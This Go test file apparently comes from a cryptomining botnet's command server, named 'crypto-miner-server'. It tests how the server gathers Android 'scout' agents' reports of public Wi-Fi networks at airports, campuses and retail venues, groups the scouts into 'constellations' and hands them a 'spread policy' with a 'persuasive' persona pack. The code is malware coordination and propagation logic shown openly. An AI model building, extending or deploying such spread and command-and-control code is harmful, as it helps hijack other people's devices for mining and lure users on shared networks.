package api import ( "encoding/json" "net/http" "net/http/httptest" "testing" "time" fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) func TestScoutConstellationFormsAndPushesSpreadPolicy(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) hub := NewWSHub(database) ssid := "SFO-Airport-Free" now := time.Now().UTC() for i, id := range []string{"scout-a", "scout-b", "scout-c"} { if err := database.UpsertAgent(&models.Agent{ ID: id, Name: id, Platform: "android", Status: "online", IP: "127.0.0.1", LastSeen: now, }); err != nil { t.Fatal(err) } hub.ingestScoutConstellationReport(id, ssid, 18+i) } snapshot := hub.scoutConstellationSnapshot() if len(snapshot) != 1 { t.Fatalf("constellations=%d", len(snapshot)) } if snapshot[0].VenueClass != fleetai.VenueAirport { t.Fatalf("venue=%q", snapshot[0].VenueClass) } if snapshot[0].PersonaPack != fleetai.PersonaPersuasive { t.Fatalf("persona=%q", snapshot[0].PersonaPack) } policy := hub.scoutSpreadPolicyForAuth("scout-a") if policy == nil { t.Fatal("missing spread policy for scout in constellation") } if policy["persona_pack"] != fleetai.PersonaPersuasive { t.Fatalf("policy persona=%v", policy["persona_pack"]) } if policy["venue_class"] != fleetai.VenueAirport { t.Fatalf("policy venue=%v", policy["venue_class"]) } } func TestScoutConstellationRESTEndpoint(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) hub := NewWSHub(database) hub.ingestScoutConstellationReport("scout-1", "Campus-WiFi", 10) hub.ingestScoutConstellationReport("scout-2", "Campus-WiFi", 11) hub.ingestScoutConstellationReport("scout-3", "Campus-WiFi", 12) handler := NewScoutConstellationHandler(hub) req := httptest.NewRequest(http.MethodGet, "/api/v1/scout/constellations", nil) rec := httptest.NewRecorder() handler.GetConstellations(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var body struct { Constellations []fleetai.ScoutConstellation `json:"constellations"` } if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if len(body.Constellations) != 1 { t.Fatalf("constellations=%d", len(body.Constellations)) } if body.Constellations[0].VenueClass != fleetai.VenueCampus { t.Fatalf("venue=%q", body.Constellations[0].VenueClass) } } func TestScoutReportWSIngestsSSID(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) hub := NewWSHub(database) scoutID := "apk-scout-ws" if err := database.UpsertAgent(&models.Agent{ ID: scoutID, Name: "tablet", Platform: "android", Status: "online", IP: "127.0.0.1", LastSeen: time.Now(), }); err != nil { t.Fatal(err) } conn, _ := dialAgentWS(t, hub) _ = authAgentConn(t, conn, map[string]interface{}{ "agent_id": scoutID, "hostname": "tablet", "platform": "android", "version": "test", }) payload, _ := json.Marshal(map[string]interface{}{ "scout_mode": true, "ssid": "Target-Guest", "join_lane": "docker", "service_count": 6, }) if err := conn.WriteJSON(Message{Type: "scout_report", Payload: payload}); err != nil { t.Fatal(err) } time.Sleep(50 * time.Millisecond) c := hub.scoutConstellationForAgent(scoutID) if c != nil { t.Fatal("single scout should not form constellation yet") } for _, id := range []string{"scout-2", "scout-3"} { hub.ingestScoutConstellationReport(id, "Target-Guest", 5) } hub.ingestScoutConstellationReport(scoutID, "Target-Guest", 6) c = hub.scoutConstellationForAgent(scoutID) if c == nil { t.Fatal("expected constellation after third scout") } if c.VenueClass != fleetai.VenueRetail { t.Fatalf("venue=%q", c.VenueClass) } }